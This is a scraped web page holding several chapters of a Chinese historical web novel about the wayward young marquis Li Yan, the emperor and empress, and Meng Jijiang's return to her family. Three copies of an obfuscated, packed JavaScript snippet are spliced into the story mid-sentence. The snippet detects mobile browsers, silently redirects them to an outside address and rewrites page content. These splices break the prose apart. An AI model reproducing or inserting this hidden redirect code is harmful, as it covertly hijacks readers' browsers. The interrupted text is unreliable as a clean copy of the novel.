骂道:“你真是,你有病啊,别说阿驷就不是那样的人,就算他今儿真杀了人,圣人会让良患这个宫中内侍来拿他吗?” 也是啊,就良患那老胳膊老腿的,李兖一脚能给他踢散架。 窦方宝平静下来。 “别多想了,赶紧各回各家,这两日咱们不聚了啊,我瞧阿驷一准儿叫人坑了,这孟六娘子绝不是个善茬。” 两人说着,迎面见街上跑来几个小厮,正是各自家里的,没带犹豫,两人就此分开,各自家去。 * 这边萧屺一行人行到城门,良患已经从城楼下来,恭敬等在旁边给几人行了礼。 孟潇见这阵势就知道几人还待进宫复命,他瞥了眼不再扑腾,如脱水的死鱼般趴在马背上的李兖,心下舒服多了。 “家中女眷还在等,我和妹妹先走一步了。” 孟潇在马上笑着叉手向众人弯了弯腰,带着孟家人先行入城。 “良患......” 李兖嗓音微弱,有气无力地喊,“良患啊,是圣人来救我了吧,我.....孟昭妗……她她敢绑我。” 良患似乎才看见他,惊讶道:“哎呦,哎呦呦呦,小侯爷这是怎的了,怎么这般灰头土脸的。” 李兖没好气的抬头,“你绑着在马上颠一路试试呢?” “过来给我解开。” 哥舒一听立马上前要动手。 “哎,” 良患用拂尘轻轻一挡,笑道:“不急不急,就先这么着吧,圣人那边着急。” 李兖英眉皱起,“就非急这一会儿功夫?你别是耍小爷吧。” 良患一脸惊慌,“小侯爷这说的什么话,奴婢是什么人您还不知道嘛,奴婢素来最敬着您,只圣人有话,怎么进的长安怎么去太极宫,原封不动,什么叫原封不动......” 趁两人掰扯的空挡,萧屺暗暗向后面那驾马车打了个手势。 他转头对着良患的背影道句,“我也先回永福坊了,改日再进宫给阿耶请安。” 依照旧例,除了太子居东宫外,满了十六的皇子都要住到宫外的永福坊和兴宁防去,萧屺自不例外。 萧屺说完就驱马往前去。 “五殿下,” 良患转身,看透般笑道:“殿下就别藏着掖着的了,普天之下有什么能瞒得过圣人的眼,” “圣人还有话,小侯爷跟奴婢进宫,您先回永福坊,明日圣人召您议平城军务,七殿下嘛,由金吾卫送回去就是。” 话音飘进马车里,萧岺眼中堙灭一抹碎光,他手抵在心口轻压了压,将那股熟悉的灼刺感抚平下去。 良久,萧岺轻抒一口气,再抬眼时满心的嘲弄又是一丝不露。 前面萧屺仍在争执,“旁的便罢了,只七郎身子近来有些不好,还是我送他回去吧......” “五哥走吧,我身子无妨。” 最后的马车里传出一道清润带笑的声音,是方才一直没露面的七殿下。 良患闻言抬头,第一次看向后面。 朱温策也向后看了一眼,转回身后抬手告辞。 * 穿过皇城,进入宫城,过了承天门,抬头就望见三百玉阶上一座巍峨宫殿,此宫是谓太极。 太极宫正位中轴,乃是帝王朝所,主殿太和殿是满朝文武上朝的殿宇,靖武帝素日常在后面的两仪殿召见近臣。 良患到两仪殿殿前时,靖武帝正在用午膳,案旁跪坐一位姿容娇艳的宫装美人,为他布菜。 李兖被几个千牛卫扛着扔在殿中央,满身尘土扬起,混着照进殿来的稀薄晨光,纷纷扬扬飘散起来。 靖武帝抬头睇一眼横在地上的少年,继续用饭。 “咳咳,”一旁的崔婕妤咳着,芊芊素手轻扇,斥道:“良患,你看不见圣人正用膳吗?这时候提什么人来,若搅了圣人的兴致,我必不饶你。” 崔婕妤年不过二八,其实还是个小娘子,又自进宫起就宠冠后宫,便是比之当年的杨淑妃也无不及的,说话行事素来便多几分骄纵。 良患深谙宫中各人各事,避开崔婕妤,只向靖武帝行礼回话。 “圣人,小侯爷到了。” 此话一出,崔婕妤浑身一抖,手中提的银箸都险些握不稳当。 无他,她是被吓的。 若说在这宫里她是放肆,那李家这位小侯爷就是跋扈,不止宫中,整个皇城乃至整个长安就没有能奈何他的。 想她去年初入宫就承宠,宠冠后宫无人争锋,而她自家中带来的爱犬不过对着他吠了几声,李小侯爷就忍不了了。 当天他笑笑便走了,不曾生事。 可第二日门一开,雪团的尸身就被吊在了她宫门前,鲜血滴答滴答,淌了一地,开门的宫人险些没吓死。 更气的是,她竟求告无门。 圣人安抚了两句只说日后再赐她一只,却绝口不提要罚李小侯爷的事,皇后娘娘一口一个后妃应当谨礼淑慎,太后娘娘更是闭门不见。 宫里最尊贵的三位主子尚且如此,长安城里这帮勋贵更不必说,自那时她就知道了,以后见了李家这位得绕道走。 他得罪你不要紧,可你要是得罪了他,那就真要了命了。 崔婕妤抖得太厉害,靖武帝实在有点看不下去了。 “你先回宫吧。” “圣人~” 崔婕妤扯着靖武帝袖子撒娇,有些不愿走。 靖武帝不重欲,后宫鲜少去,去也多是去看皇后,崔婕妤不愿放过跟他相处的机会。 李兖看得牙酸,索性自己坐起身,捆着的双手背在身后,闲闲开口。 “人家不愿走,您就别催啦,怎么小娘子的脸色一点儿也看不懂啊?” 一句话下去,成功点燃靖武帝,他一拍矮案道:“都给朕退下!” 殿里的宫人内侍跪了一地,良患也跪,只是他见惯了这两位的闹剧,并不害怕。 等人收拾完,靖武帝坐在上面喝茶漱口,双眼却一丝不错地盯着下边的李兖。 李兖被皇上盯着也没不舒服,那双透亮的星目四处乱看。 “瘦了。” 靖武帝忽然开口:“也黑了。” 他不动手也不说教,李兖反倒警惕的往后一仰身子,眯眼看过去。 “这唱的哪出啊?” 靖武帝道:“闹腾够了,知道回家了?” 李兖警惕依旧。 “你说,这也当真奇了。” 靖武帝下来,背着手绕着李兖散起步来。 他仰头边想边说:“李家累世簪缨,你祖父李文烈公,前朝时官居大司马,后遭奸佞所害,离了官场后远避平城近十载,” “末帝身死时,明知长安被贼逆把持,李公还是回来,在朱雀楼上撒了近百册的《守民论》血书,不为扶旧朝社稷,只为安乱世辜民,” “你父亲,五岁开蒙,九岁拜师,师从大儒上官容瑕,乱世弃过笔投过戎,后又以文士白身随我萧氏征战天下,如今......” “哎哎,” 李兖受不了,出声制止道:“说说祖父辈得了,李侯爷...... “他不是还活着呢嘛,我又不是没眼没耳朵,自己能看能听。” 靖武帝从善如流,继续念:“你阿翁......” 十几年了,翻来覆去就那套说辞,李兖直接给他接上,闭着眼懒散道:“武延公,五上将,燕北九部,乱世不帝。” 殿门处照进光来,李兖闭着眼浸在阳光里,一派安逸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514245|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你也知道,” 靖武帝被激怒,指着他骂:“你再看看你自己,整日里游手好闲,懒散成性,一事无成,无法无天,还嚣张跋扈,怙终不悛,朕真是想不明白,到底哪儿出了差错,你怎么长成如今这样。” 李兖睁大眼看向他,惊讶道:“合着数了一遍,就没怀疑过自己呗,我可是在燕郡王府长大的。” “那你上面九个哥哥怎么没长成你这样?” “那是他们太刻苦,这你也怪到我身上?” “强词夺理!” 靖武帝气得来回找东西,最后盯上旁边千牛卫的刀,一把夺过来就敲在李兖身上。 李兖不是个死犟的人,他学不来跪着挨打那套,当然坐着也不行,便在地上四处打起滚来。 良患过去,熟练的把殿门关上。 “以前带着几家的小子在长安闹腾也就罢了,如今可好,连孟家那个小娘子你也不放过,你要反了天了不成?” 李兖大喊:“这.....咱讲讲理行不行?这事儿那能怪我吗?” “不怪你怪谁,是有人把你绑到孟家的船上去的?还是你腿不听使唤了自己蹦上去的!” 李兖无从辩驳。 索性不再辩驳。 他一仰脖子,破罐子破摔道:“是,我就是不愿意,我既没见过她又不喜欢她,为什么娶她?如今她成了病秧子,我更不娶,我不喜欢娇娇弱弱的人。” “娶不娶由不得你,孟家小娘子有什么不好,谢夫人出身东阳士族,茂直官拜大将军,他们二人的孩子怎会不佳。” 听到这话,李兖先‘噗嗤’一声,捶地大笑起来。 “那我不就是?我阿娘乃先帝亲封的一等小武侯,父族也是六世簪缨,我出身差了?还是文武绝佳了?” 靖武帝被噎住。 不待他开口,殿外就传来沈皇后温婉慈善的声音。 “圣人,可是阿驷回来了?” 她在殿外听了许久,听皇帝收不住场就知道到了该出声的时候了。 毕竟次次如此。 靖武帝拿刀指了指李兖,将刀扔给侍卫,正了正衣冠,才示意良患开殿门。 沈皇后不着锦衣宫装,只一席寻常妇人家的常服,可穿在她身上也是一派端庄大方华美温婉。 “令嬴来了,来人,赐座。” 靖武帝招呼她一声,又重新坐回上头。 大晋的开国帝后出了名的琴瑟和谐,私下也不曾改过称呼,且仍旧互称你我。 “我听宫人说,圣人早早传了午膳,便过来看看,不想正好碰上阿驷回来了。” 靖武帝哼道:“我怕见过他以后,吃不下,早用了的好。” 叫人扶正了李兖,沈皇后才落座。 “我方才也听得一二句,阿驷话糙理不糙,说的也不无道理。” “皇后娘娘。” 终于找到靠山,李兖瞬间乖巧起来。 沈皇后给了他一个安抚的眼神,又向靖武帝道:“东篱夫妇自是没话说的,可孟家六娘子毕竟是在外头长大的,如今小娘子也回来了,等她身子好些了,不如你我先见见?若真是个好的,配给阿驷才是桩美满的姻缘。” “倒也有理。” 靖武帝沉吟半晌,应下来。 李兖闻言,坐在地上得意起来。 沈皇后又道:“不过也不是大事,左右小娘子才十岁,能教养好的。” 李兖嘴角瞬间落回去。 靖武帝和沈皇后对视一眼,沈皇后低头问李兖,“闹了这么久,阿驷饿了吧?” 李兖沉浸在摆脱不了小病秧子的沉郁中,整个人恹恹的,一时没听见。 靖武帝那股气又涌上来,“问你话呢,不知道吱一声啊!” “哦,都行。” 沈皇后忍俊不禁,“那跟我走吧,小九正在我那儿呢,叫宫人们把你们俩的饭一块摆上。” “啊?那我不去,” 李兖解了绑站起来,闻言垮着脸道:“看着他我更吃不下去。” 李兖与皇九子萧峥不和,人尽皆知。 “那我还是回府吧。” 李兖说着转身就走。 靖武帝在后面喊他,“吃好了饭就回来,一顿板子你是跑不了了,茂直巡边回来之前你都得在床上过。” 李兖捂着耳朵跑得飞快。 他没听见就是不知道。 13. 孟家女眷 皇城在长安城北,为行便宜,迁都后皇亲大员和勋贵士族的宅子大都分到了长安东侧坊里。 孟家的宅子在离宫门不远不近的永乐坊,乃前朝三公之一太尉的旧府邸,迁都后靖武帝大手一挥,把这不小的宅子给了三品云麾将军孟詹山。 此时,孟宅一大家子人都站在门前等着接人,孟潇和孟五老爷的马在坊街一露头,这边就看到了。 “二哥哥,五叔。” 七娘菁妗从自己保母怀里跳出来,踮着脚挥手大喊。 孟潇也朝她挥了挥手,可菁妗的目光一错,却是落在了马车侧窗上。 那里飘出一条绿丝绦,正随风轻盈舞动。 下一瞬,窗里钻出一个玉雪灵动的小娘子,那活泼劲儿比孟菁妗还足三分。 “她......”菁妗看愣了眼。 “她就是六妹妹吧?” 菁妗身后,一个十三四岁身形苗条的少女嘴快接下话来,少女正是孟家三娘子,遥妗。 还不待旁人搭话,就听宅门里传来一阵爽朗大方又不失亲和的笑声,一片女使婆子的说笑声中,四夫人郑氏被簇拥着转出照壁来。 郑氏一身齐紫撒梅金的大袖衫,臂弯上搭着一条同色披帛,妆容头饰也是恰到好处。 她走上前来把菁妗搂进怀里,笑道:“定是你六姐姐了,我瞧着与五娘生得很是相像呢。” 众人前面的阶下还站着一个小娘子,还未长成的身形初见纤细,容貌柔美恬淡,嘴角绽开的笑意恰到好处,正是季姜同胞姐姐,五娘知妗。 听到郑氏的话,她用力攥了攥绣帕才稳住有些激动的心绪。 几人闲话间,马车停稳,毓娘三人先下了马车,季姜没要人扶,直接自己跳了下来。 “哎。” 知妗见状,吓得甩开女使想上前扶她,却不料自己脚下一顿却绊倒下去。 就在她身子摇晃时,只觉臂上一阵微凉,季姜有些冰冷的手反轻轻托住她胳膊,助她稳住身形,不至跌倒。 知妗反应过来,微微抬眼看向眼前一脸懵然的小娘子。 这是她的妹妹,一母同胞,同日诞世的妹妹,除了阿耶阿娘,这世上应该再没有比她们血缘更亲近的了。 而阿昭似乎也与她无数次想象过的一样。 知妗昔日所有关于妹妹的想象,在见到季姜的那一刻,好似化成了流动的幻影,全都朝着眼前这小娘子而去,最后聚化出来的,竟与她想象中的分毫不差。 她握住季姜的手,自然地想要亲近她。 见人站稳,季姜就想抽回手,可抽了一下竟没抽回来,反倒是被身侧的知妗握地更紧,温热柔软的手心贴上她的,两只小手握在一处。 “阿昭的手真凉,路上冷着了吧?” 知妗拉着她,缓缓走上台阶去。 “我名季姜。” 季姜呆了一瞬,轻声道。 知妗闻言微愣,抬头朝孟潇看过去,见他微微点了点头,她才收回视线,朝季姜笑道:“好,记得了,那我唤你阿姜可好?” 她笑意深深,问得也温柔。 除了眉眼,和自己额间那点红痣,面前这小娘子与自己几乎一模一样,季姜知道,自己有个双生的胞姐,相必就是她了。 季姜不容易讨厌和喜欢一个人,但感受着眼前人的温暖,却是从心底里涌起一丝暖意。 她真心笑道:“那我呢,我唤你什么?” 知妗也笑,“你唤我阿姐啊。” 郑氏上前一边一个拥住两人,笑道:“好了好了,老夫人还在祝明堂等着呢,等进去了,你们姊妹二人有的是时候闲话,爱说多久就说多久。” 在一众女使婆子的簇拥下,郑氏带着几个小娘子往后院祝明堂走。 阵阵女子香风萦绕浮动,期间,季姜感觉到四方密密匝匝投来的偷看。 或好奇,或打量,或思索...... 这样女子环绕的氛围让季姜的心出奇的安稳,只是她到底从没受过这么多繁杂的眼光,还是忍不住轻轻提起口气。 她垂下眼去,恍惚觉得知妗握得她更紧了些,心下不禁稍稍安定。 走过后院的曲折长廊就到了孟老夫人的祝明堂。 等到了里面又是一屋子人,或站或坐团团围着一个老妇人。 郑氏往前一福身,就挨个给季姜认人。 玩笑道:“这是你祖母,咱们孟家的镇宅之宝。” 知妗放手轻轻一推,季姜想着毓娘的教导,跪下去行礼。 “孙女见过祖母。” “快把人扶起来,”老夫人朝季姜招手笑道:“快别拘着那些礼数,过来这边,让祖母看看。” 季姜这才抬头看过去。 孟老夫人满头银丝,衣着简单朴素,身上最显贵的也只是额上那条镶红玛瑙的抹额。 老夫人身边还站着个高挑的青衣少女。 见季姜看过去,她清冷的脸上露出浅笑,上前来把人扶起来。 “是六妹妹吧,我家中行二。” “二姐姐。” “来吧。” 季姜在前面站定。 孟老夫人粗糙的手握住她的,轻轻拍着,抬眼端详她。 半晌后放声笑道:“咱们家六娘生得真好,瞧这双眼,与东篱简直是一个模子里刻出来的,” 见季姜发懵,孟老夫人抚抚她发角,笑得慈和。 “东篱就是你阿娘,你阿娘也生了这样一双圆圆润润的杏眼,你上边的哥姐都随了你阿耶,原还觉得可惜,不想还是有一个的,” “瞧瞧,咱们家小六不就是,可惜了你爷娘这会儿都不在府上,不然可得高兴坏了。” 最后这句话,孟老夫人是对屋里众人说的。 坐在老夫人下首第一个的妇人哼笑。 “是啊,生得像二嫂,相必容貌是不差的了。” 这话一出,屋里有片刻的安静。 郑氏面不改色的上前,接过季姜的手后带她朝向那妇人,笑道:“这是你三叔母。” 说完又补一句:“她啊,最是个心直口快爱说笑的。” 季姜没觉出什么,只是屈膝,“见过三叔母。” 郑氏已经这样说了,三夫人邹氏还是眼都不错一下,只是笑笑,权当应了季姜的礼。 “好了,” 孟老夫人出声打断道:“舟车劳顿的,六娘想来也早乏了,快叫她见见姊妹兄弟,就回院子歇歇吧,左右回了家,以后合聚的功夫多着呢。” 孟老夫人发了话,那接下来就是几个平辈了。 可季姜这次没等到郑氏的介绍,反听她惊讶的‘咦’一声,眼珠四处看了一圈,才问屋里婆子。 “怎么不见两个小郎君,方才不还好好待在这儿呢。” 她一说,众人这才反应过来,满屋女子们热闹着,竟没人注意孟津、孟濯两个不见了踪影。 孟老夫人道:“小四小五两个惯是会胡闹的,快去外面找找,妹妹都归家来了还只晓得玩。” 婆子得令就要退下去,只还没出屋就听廊上有人跑来。 “哎哎哎,不用找不用找,来了来了,急个什么,我们这不就回来了嘛。” 外间少年笑着,一阵欢快地脚步声渐渐趋近。 屋帘打起,两个年岁相仿,神态各异的少年快步走进来。 “五郎给祖母、几位叔母、兄姐行礼了。”孟濯生得唇红齿白,笑声爽朗,弯腰叉手行礼。 被他扯进来的孟津懒洋洋抬了抬手,“四郎有礼了。” 两人行过礼,受了孟老夫人几句说道,就自觉站到了孟潇的身边。 那边,郑氏开始说小辈了。 孟家以前就是个小豪族,有钱没权,孟老爷子更没识过几个字,儿辈取名字都是找卦师随便算的。 到孟詹山追随萧氏一同打天下,孟家才是真正的脱胎换骨了。 门槛抬高后孟家这一辈取名就讲究多了。 同辈之间,男女各自排行,采字取名。 这一辈小郎君们取水,小娘子们就采一个‘妗’字。 孟家有五房,子嗣不少,除了随孟老爷子远居姑苏的大房,其余四房都是住在府上的。 二房里,孟潇、知妗和季姜乃一母同胞,孟濯则是已逝的丛小娘所出。 三房一子两女,行三的孟湛和三娘遥妗同是邹氏亲生,二娘明妗是已故的云小娘所生。 四房一子一女,孟津是先前的四夫人所生,七娘孟菁妗是如今的郑氏所出。 季姜与姐姐妹妹一一见礼。 这边,孟濯两人站过来,孟潇看看门外,问道:“三郎呢?” 孟濯在出神,闲闲站着的孟津只好开口:“听说二伯父来信,叫他跟去朔东巡边去了。” 孟潇哦了声,低头不再开口。 一旁的孟濯自刚才给长辈行了礼,就有些想看又不敢看的偷瞧季姜,目光躲躲闪闪却又按捺不住。 等季姜见过姊妹,站在远处遥向三人见礼,他才垂下眼跟着孟潇两人回礼。 等一切落定便到了晌午,孟老夫人做主,将接风宴定在了孟二老爷东巡回来的时候。 谢氏常年在长安外的寺里礼佛,为表心诚只在年节才回家中待上两个月。 谢氏不在,季姜一切事宜皆有掌着中馈的郑氏安排,因而见过礼后她就被送到了郑氏安排的院子歇下。 * 遣婆子送小辈们回了各自院子,孟五老爷便留在孟老夫人的祝明堂用午食。 孟老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514246|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人周氏出身商户,可她能在乱世里养大几个孩子,还供出孟詹山这个云麾将军,见识和胆量是绝对不输那些世家大族女子的。 在她治下的孟宅,无论嫡庶皆一视同仁。 如此一来,孟宅几房间虽有过日子的小龃龉,可却也生不出什么大事来。 孟五老爷生母早逝,孟老爷子又是个不管事的,他自小是长在老夫人膝下,由嫡母和几位哥嫂照顾长大的,与孟老夫人也最是亲厚。 两人用过饭,吃茶的时候孟五老爷与孟老夫人说起替季姜遮掩来历的事。 孟老夫人抬手止住孟显珍,唤一旁的赵嬷嬷,“阿春,你亲自带人到门口守一守。” 等人都走了,孟老夫人先过问了小事。 “扬州来的那两个秦家小郎君可都安置好了?” “母亲不必操心,儿把他们安置在了别院里,等二哥回来就做安排。” 孟老夫人点点头才说正事,“你与二郎差人带回来的信我都看过了。” 孟五老爷忙道:“母亲觉得这样做可行?” 孟老夫人搁下茶盏,哼笑道:“你们兄弟二人做都做了,现下想起来问了?” 这么说,便是不大满意他们这样做的意思了。 孟五老爷也放下茶盏,给老夫人解释道:“去接人时我与二哥都没想到六娘是在青楼里待了十年,不过事实如是,咱们也没办法,” “可后来被李家那小子一闹,六娘不记得事了,我与二哥这才想到要给她改个来历,” “六娘初来乍到本就不熟悉,若再有个那样的来历,不说这长安城里旁的府上怎么看她,就咱们府上这几个小丫头也怕是不大会接纳她吧。” 这话一出孟老夫人就不依了,瞥五老爷道。 “府上几个小的可都是在我这老婆子眼皮子底下长起来的,你就这么信不过?” 孟五老爷好笑,“我当然信得过母亲,只是侄儿侄女们近年可都长起来了,不是垂髫年岁的时候了。” 人长大了,想得就多,想得多了就由不得人管了。 这道理孟老夫人哪里就不懂了呢。 堂中一时安静下来,午后的暖阳照在罗汉榻上,孟老夫人往后靠靠。 “我还是觉得不大妥当,知晓这事的人......” “只阿娘,我与二哥知道底细,二郎五郎只以为六娘是长在寻常农家,儿不曾与他们说过是青楼。” “那二郎.....可与东篱说过了?” 孟五老爷低头嗫嚅,“没,二嫂的性子您也知道,二哥想来是不打算与二嫂明说来历的。” 谢东篱世家大族出身,最重规矩名声,若真知道季姜在下九流的青楼待了十几年,那还了得? 紫檀群山香炉里飘出淡薄的香烟,孟老夫人微眯了眼瞧着。 她自己养大的孩儿自己心中清楚,二郎虽是个武将,却也不是个莽夫。 想来这些都是他算好了的,如今不过拖了老五的嘴说给自己一听罢了。 他不与东篱说青楼的事,又加之六娘本就伤了脑袋记不得事了,哪怕来日东篱还家瞧出异常,也只以为是失忆而致,不会疑心到来历上。 若是如此,娘俩之间或许真能更合得来。 子女都是前世债,到孟老夫人这儿,儿媳也成了债,她闭起眼来,深叹口气道:“算了,左右是他们自己的骨血,随他们吧。” 孟五老爷看她乏了,告了礼便要退出去,孟老夫人却忽然问道:“李家那小子你看如何?” “成不了。”孟五老爷语气笃定。 “哦?” “他与六娘合不来。” 孟五老爷说得头头是道。 “当初与五娘时,他虽也不愿,可念着与咱们家往日的旧情分到底没闹,可这次,圣人压着他,怕是把他惹狠了,” “六娘嘛.....我说不上来,反正看着不像是个能忍他的性子。” 孟老夫人听完就叫他走了。 赵嬷嬷进来,孟老夫人还依靠在榻上,她重新为孟老夫人换上热茶,凑趣道:“老夫人觉得李家小侯爷好?” “那孩子不过才回来一年多,我哪里见过他,不过进宫时听太后说道过几句,似是个不重规矩还不吝闹腾的,说是连圣人都压制不住他,” 孟老夫人说着笑了。 “不过既是宇文家养大的,应当不是个品性低劣的,再者说,燕北那样的地方哪里能养出什么中规中矩的人啊。” 赵嬷嬷立在榻边,“那老夫人是看好六娘子这桩婚事了?” 孟老夫人缓缓睁开眼,沉了半晌,才低声笑道:“阿春你糊涂了,看不看好的,哪能由得咱们呢?” “是婢子糊涂了。” 赵嬷嬷笑着应她。 14. 闲话 季姜住的地方叫重明院,在孟宅的东北角。 孟家这一辈娘子中,二娘明妗随孟老夫人住在祝明堂;七娘菁妗年岁尚小,还跟着郑氏住在四房主院里;其余小娘子的院子便都在这边了。 重明院右临着三娘遥妗的院子,左边隔一条荷花渠是知妗的院子。 院子似乎是早早留出来的,又或是原是有人住过的院子。 院中临窗处有一株高树,树上还未结果也看不出是什么,只枝叶长势繁茂,树荫投下来,甚至能荫蔽到屋中。 阴凉下,季姜趴在轩窗上,支着下巴瞧向庭院里。 穿过飞架在水渠上的独桥,她目光落在远处。 那里站满了婆子和女使,毓娘正在前面安排重明院的各项事宜,映采站在她旁边,拿笔不时细细记着。 宝帘蹲在季姜身边,抬头看她,“六娘子在看什么?” 季姜没回头,只叹道:“我们毓娘和映采可真厉害,我若是能长成她们这样.....” 宝帘眼疾手快,往她嘴里塞了颗果子。 “六娘子痴傻了,娘子就是娘子,怎么都不会长成婢子们这样,而且做主子不是很好吗?” “我不是说这个,” 季姜咬了一口果子,把剩下的半个拿在手里,兀自道:“我是说我不如毓娘她们懂得多,且相差甚远。” “婢子不懂。” 宝帘摇摇头,呆呆看她。 季姜回过身来,歪头笑道:“那我问你啊,我审账理事的本事可及得上毓娘?” 宝帘摇头。 “那我于笔墨识字上可比得过映采?” 宝帘还是摇头。 季姜把半块果子塞进嘴里,鼓着腮帮道:“你看,这不就是了,我可听毓娘说过的,这些本事不必说二姐三姐,便是与我同岁的阿姐都是熟知的,可我不懂,” “如此一来我是不是比毓娘和映采还要相去甚远,那我想成为她们那样的人,有何不可?” 这样说来好像也是有道理的,可...... 宝帘脑子里一时转不过来了。 季姜也不勉强她去懂,只是重新看向窗外,绿叶斑驳,落进她清眸里几点艳阳碎光。 没待多久,毓娘两人安排好院中事务,端了午食便掀帘走进来。 季姜在桌边坐定,毓娘站在她旁边忙着布菜,忍了忍,季姜还是开口道:“方才在祝明堂,那个穿宝蓝圆领袍的是五哥哥吗?” “是啊,” 毓娘奇怪看她一眼,笑道:“娘子不是刚认过人了嘛,难不成这么快便忘了?” 季姜如实道:“不过远远行了个礼,实是没看清什么模样。” 毓娘觉得好笑。 “那可难为娘子还记得五郎君穿了宝蓝袍子。” 季姜俏皮的笑笑。 其实是离开祝明堂时,她特意多看了几眼那位五哥哥,因为她感觉到了他的眼神。 就在自己与几位姊妹闲话时。 若是普通的打量倒也不会引得季姜好奇,只是孟濯的眼神有点熟悉。 如今想来,倒是有些像哥舒和冬生伢看她的眼神。 遮遮掩掩又有点愧疚。 今日她与孟濯不过初见,何来愧疚呢? ……莫不是他与李兖相熟吧? 那可就有意思了。 季姜心中其实已经隐隐肯定了自己的猜想,并把自己这位五哥哥划进了李兖的阵营。 “五哥哥性情如何?有什么喜好的东西?”她问。 毓娘在府上长大,对各房主子都是熟悉的。 此时她也只当是季姜想先了解了解兄弟姊妹,来日可好相处些。 便道:“五郎君虽是以前的丛姨娘所出,可他自打满月起就抱到了夫人膝下,夫人待五郎君也极好,无论吃穿用度还是读书习武都与二郎君相同,” “五郎君也素来是个爱说爱闹的,阖府郎君里属他最活泼,” “去岁圣人在宫里开了东观堂,夫人和将军商量后,送了他去习书,只是听说,似乎学业平平。” 季姜抓住重点,笑道:“爱说爱闹,那想来是个好相处的了。” 毓娘察觉她稍有不对劲,闲话道:“娘子怎么想着问起五郎君来?” 季姜低头用饭,信口含糊,“我瞧五哥哥面善,多问两句罢了。” 相处日久,毓娘已经能看出季姜的情绪,如今这话便有些敷衍了。 她偷眼瞧季姜脸色,还没细看就被小娘子支使着夹这夹那,她收回视线专心布菜,没再细究。 * 季姜打听旁人时,她隔壁院子里,遥妗和菁妗正准备一同用午食。 有女使进来回午食摆上了,遥妗这才携菁妗一同出了里阁。 女使们在花厅外的廊下置了席案,两人出来落了座。 遥妗半开玩笑道:“七妹妹今儿怎么想起要来我院中用饭了?我这里可不比四叔母的院子早早用了冰,来得舒服。” 郑家是关中四姓之一,四夫人郑氏又出身章徳侯府,现任章徳侯是郑氏的长兄。 郑氏嫁妆私产丰厚,夏日里的冰四房往往是最先用上的。 菁妗吃着荷花酥,一脸不满地嘟囔道:“三姐姐快别提了,说起这个我就生气,孟六回来之前我阿娘就为了她忙前忙后一刻不得停,既怕祖母不满意,又生怕二伯母年节回来时听得一两句不好,” “如今回来了,还是忙得脚不沾地,我都许久没跟阿娘一块儿用饭了。” 孟菁妗今年不过八岁,又是孟家娘子里最小的,素来受家中众人娇宠,说话一向没什么顾忌。 方才在祝明堂她就没叫季姜姐姐,如今遥妗也没有纠正她,只皱眉道:“孟六都归家来了,四叔母还要忙什么?” 菁妗道:“听说是孟六身边那三个使女年岁都不大,最年长的那个今年才二十有四,也不甚稳重,祖母想着要给她找个更妥帖些的婆子,” “祖母既开了这个口,那阿娘就一定是要办的,非家生的不用,可家里就这些家生婆子,不容易找到合适的,可若非家里知根知底的又不敢轻易用,这才又忙起来。” 遥妗闻言却想得更多。 “我倒是见过那个毓娘几次,是二伯母身边的,又是祖母看过允了才跟去寒州的,怎么这会儿又说不稳妥?” 菁妗噘嘴,“谁知道呢,左右就是胡乱折腾罢了,不过也可见祖母对孟六恐怕比五姐姐还要好上许多。” “祖母原就极喜欢二伯母,自然是比咱们要好,” 遥妗有些酸酸的,“更何况她还没来就已经在圣人和娘娘眼里了,而且那边不也看着呢嘛,哪里能不好。” 她说着‘那边’,伸手指了指北方。 菁妗小声道:“是,先前是五姐姐,如今又换上孟六了。” 遥妗嗤笑,“还不如是五妹妹呢,毕竟是在府上跟咱们一块儿长起来的。” 见菁妗似乎兴致不高,三娘便唤两人的贴身女使。 “你们俩去取些七妹妹爱用的乌梅浆来。” “可是用冰镇过的?” 菁妗果然立马被吸引了注意,倾身趴在桌上,激动道。 如今已经入夏,虽还没到最热的时节,可像孟菁妗这样整日跑来跑去闲不住的小娘子而言已经很热了。 郑氏不许菁妗多用凉物,这遥妗是知道的,她瞥向菁妗道:“当然不是,瞒着四叔母给你用寒凉之物,我可不敢。” 菁妗失望地‘啊’了一声,退回坐席去。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514247|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过是郑妹妹临走时给咱们留下的。” “真的!” “骗你作甚。” 提及郑家娘子,七娘小脸又垮下来。 “都怪孟六,若不是她,郑姐姐也不会离府回家去,咱们府上那么多院子,她怎么就偏要住那重明院呢?” 菁妗已然忘了,方才是她自己说,季姜归家的一切事务皆是由她的娘亲郑氏一手安排。 遥妗只管附和她,“谁说不是呢?” 说完,她又道:“不过也无碍,最晚年节下,二伯母回来时,郑妹妹也就回来了,不愁见不到人。” 遥妗又多说了几句,这才将略显急躁的七娘安抚下来,两人适时转了话题,又说道起近来从宫里兴起的装束式样。 虽一墙之隔,可两人的闲话季姜是一概不知的。 